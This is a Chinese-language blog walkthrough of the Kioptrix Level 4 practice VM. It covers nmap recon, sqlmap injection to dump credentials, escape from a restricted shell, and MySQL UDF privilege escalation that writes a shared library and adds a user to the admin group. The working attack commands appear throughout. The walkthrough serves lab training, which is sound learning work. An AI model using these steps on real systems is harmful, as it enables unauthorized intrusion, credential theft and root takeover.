当前位置:   article > 正文

Kioptrix Level 4靶场超详细讲解!&mysql udf提权具体如何操作&小白都能看懂!详细到家了!&Kioptrix Level 4靶场的安装_kioptrix4

kioptrix4

下载链接:

Kioptrix: Level 1.3 (#4) ~ VulnHubKioptrix: Level 1.3 (#4), made by Kioptrix. Download & walkthrough links are available.icon-default.png?t=N7T8https://www.vulnhub.com/entry/kioptrix-level-13-4,25

安装方法:

新建虚拟机选择自定义

硬件兼容选择  12.x

网络情况因人而异

一直下一步到这里

选择现有虚拟磁盘

选择刚刚下载的靶场磁盘,然后一直下一步到完成就好了

打开后会出现这个界面

一直等待就好,直到出现

就代表靶场已经成功启动

正文:

获取靶场ip:

nmap -sn 192.168.1.1/24 --min-rate 2000

(-sn:Ping扫描-禁用端口扫描,存活探测

    --min-rate:最低扫描速率)

进行靶机的端口扫描并且保存到kvm4文件夹下,命名为port:

(-p-:对所有端口进行探测

   -PN:用于禁用主机发现。这些参数告诉Nmap不要执行主机存活检测,而是直接扫描指定的目标

    -oA:输出到指定位置

     -r:连续扫描端口,并在扫描过程中随机排序目标端口。这可以帮助减少被网络防御系统检测到的风险。

nmap -p- 192.168.1.5 --min-rate 2000 -r -PN -oA kvm4/port

对端口指纹进行对应探测:

(-p:对指定的端口进行探测

   -sV:版本信息

   -sC默认脚本扫描

   -O:探测操作系统信息

   --version-all:尽可能多的探测信息

    如果使用--min-rate参数可能会遗漏数据)

nmap 192.168.1.5 -p 22,80,139,445 --version-all -sC -sV -O -oA kvm4/server

可以对该靶场进行枚举,看有没有有用信息

linux枚举工具:enum4linux-ng  安装命令:

sudo apt update
sudo apt install enum4linux-ng

enum4linux-ng 192.168.1.5

枚举到可能有用的信息

版本

用户名

(这些数据有没有作用暂时还不知道,现在只是一个简单的信息搜集)

去访问该靶场的80端口,看有没有什么有用信息

尝试万能密码

admin' or '1' = '1

发现好像不太行

可以用sqlmap进行注入试试

先运行bp进行抓包,并把数据保存到sqlmap目录下的1.txt

运行sqlmap,输入

python sqlmap.py -r 1.txt --batch --dbs

成功拿到数据库

python sqlmap.py -r 1.txt --batch -D members --tables

python sqlmap.py -r 1.txt --batch -D members -T members --columns

python sqlmap.py -r 1.txt --batch -D members -T members -C password,username --dump

成功拿到账号密码,那我们登录试试

然而发现并没有什么有用的东西

获取shell

但是该靶场开放22端口,那我们ssh登陆试试(如果ssh登录出现报错问题,那么可以看看这篇文章,讲解的很详细最详细解决Unable to negotiate with XXX port :no matching host key type found.Their offer: ssh-rsa,ssh-dss_unable to negotiate with 10.4.4.5 port 33281: no m-CSDN博客icon-default.png?t=N7T8https://blog.csdn.net/risingsmallsnake/article/details/134608161

登录成功,但是是受限制的shell,只有这几个指令

(关于linux权限越狱感兴趣的可以看看这篇文章

44592-linux-restricted-shell-bypass-guide.pdf (exploit-db.com)icon-default.png?t=N7T8https://www.exploit-db.com/docs/english/44592-linux-restricted-shell-bypass-guide.pdf

根据文章中提到,因为命令受限制,所以我们需要枚举一下哪些命令和符号可以使用

既然echo可以使用,那么我们可以尝试输入

echo os.system('/bin/bash')

(os.system():是一个用于执行操作系统命令的函数。你提供的命令将在该函数中执行,这个代码将尝试执行/bin/bash文件启动一个新的 Bash shell

    /bin/bash 文件是 Bash shell 的可执行文件,位于 Unix 系统中的 /bin 目录下,Bash 提供了一种与操作系统进行交互的方式,也就是shell)

(在这篇文章中也有各种越狱方式,感兴趣的可以去看看Spawning a TTY Shell-逃逸linux各种shell来执行命令 - lsh4ck's Blog (lshack.cn)

OK!  越狱成功!

提权操作

之前我们利用sql注入的方式获取到了账号密码,那么现在我们可以尝试一下使用 mysql udf 进行提权操作(UDF(Userdefined function)可翻译为用户自定义函数,其为mysql的一个拓展接口,可以为mysql增添一些函数)

但是进行udf提权操作之前,我们需要检查一下mysql是否是以root权限运行

ls -la /usr/lib/lib_mysqludf_sys.so

OK!权限为root

连接到数据库

mysql -u root

查看是否可以写入

show global variables like '%secure%';

secure_file_priv的值为null ,表示限制mysql不允许导入或导出

当值为/tmp/时 ,表示限制mysql的导入或导出只能发生在/tmp目录下

当secure_file_priv的值没有具体值时,表示不对导入或导出做限制

查看版本信息

show variables like 'version_compile_%';

当前版本为32

准备对应版本的udf库,在kali目录中有

(/usr/share/metasploit-framework/data/exploits/mysql/)

sqlmap目录下也有(sqlmap\data\udf\mysql\linux)

(sqlmap目录下的.so文件是异或过后的,需要用到  sqlmap\extra\cloak 目录下的cloak.py脚本进行解密操作:

python cloak.py -d -i <.so文件的目录> -o <需要输出到的位置及名字>

查找自己对应的so文件(该靶场下应为:lib_mysqludf_sys_32.so)

(lib_mysqludf_sys.so 是一个 MySQL 用户自定义函数(UDF)库,提供了一些系统级功能,例如执行系统命令、访问文件系统等)

将该文件复制到本机,并且在本机打开mysql数据库,输入

select hex(load_file('lib_mysqludf_sys.so文件存在的位置')) into outfile '需要保存到的位置/udf.txt';

如果使用该指令并没有输出十六进制转换后的txt文档,可以尝试使用下面的python代码

(随便创建一个txt文件,将下面的代码复制到txt文件中,然后把后缀改为.py,直接cmd运行即可)

python脚本代码:

  1. import binascii
  2. file_path = r'修改为你的so文件的路径'
  3. output_file = r'修改为你想要输出的位置'
  4. # 读取库文件内容
  5. with open(file_path, 'rb') as f:
  6.     file_content = f.read()
  7. # 将内容转换为十六进制表示
  8. hex_content = binascii.hexlify(file_content).decode('utf-8')
  9. # 写入到输出文件
  10. with open(output_file, 'w') as f:
  11.     f.write(hex_content)

打开靶机shell,进入mysql将十六进制的 lib_mysqludf_sys_32.so 文件写入到/usr/lib目录下并命名为mysqludf.so

select unhex('你的十六进制文本') into dumpfile '/usr/lib/mysqludf.so';

选择数据库

use members;

创建名为sys_eval函数

create function sys_eval returns string soname "mysqludf.so";

调用该函数

select sys_eval('whoami');

利用成功!

因为mysql具有root权限,所以可以用该函数直接给john管理员权限

select sys_exec('usermod -a -G admin john');

(用于将用户 "john" 添加到 "admin" 用户组中。这个查询语句,MySQL将尝试在其所在的操作系统上执行相应的命令,将用户 "john" 添加到 "admin" 用户组中。

    -a 参数:这是 usermod 命令的选项之一,表示 "追加(append)"。当使用 -a 参数时,usermod 命令将在

现有的用户组列表中追加新的用户组,而不是替换现有的用户组列表

    -G 参数:这也是 usermod 命令的选项之一,表示 "用户组(groups)"。当使用 -G 参数时,usermod 命令指定要修改的用户所属的用户组列表。你可以在 -G 参数后面提供要分配给用户的用户组列表,多个用户组之间用逗号分隔

    -a 参数表示要将用户 "john" 添加到现有的用户组列表中,而不是替换。

    -G admin 参数表示要将 "john" 添加到 "admin" 用户组中。如果 "john" 已经属于其他用户组,那么 "admin" 用户组将被追加到现有的用户组列表中。

ctrl+c退出数据库

然后我们直接

sudo su

输入密码后提权成功!!

该靶场中已经存在lib_mysqludf_sys.so(与我们之前写入的mysqludf.so文件内容相同),我们大可以直接省去之前步骤中的  找文件、十六进制文件、写文件步骤,直接就可以创建函数(create function sys_eval returns string soname "lib_mysqludf_sys.so";),然后进行同样的提权操作,并且sqlmap也提供了shell功能(--os-shell),但是我们练习靶场应该是学习而不是一昧的通关,该靶场应该直接可以用msf或者中间件的漏洞直接就能拿到root,但是这样做我感觉靶场就失去他所存在的意义了。

关于mysql udf提权的详细情况,可以去看看这篇文章:linux环境下的MySQL UDF提权 - 知乎 (zhihu.com)icon-default.png?t=N7T8https://zhuanlan.zhihu.com/p/675466196

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/你好赵伟/article/detail/789825
推荐阅读
相关标签
  

闽ICP备14008679号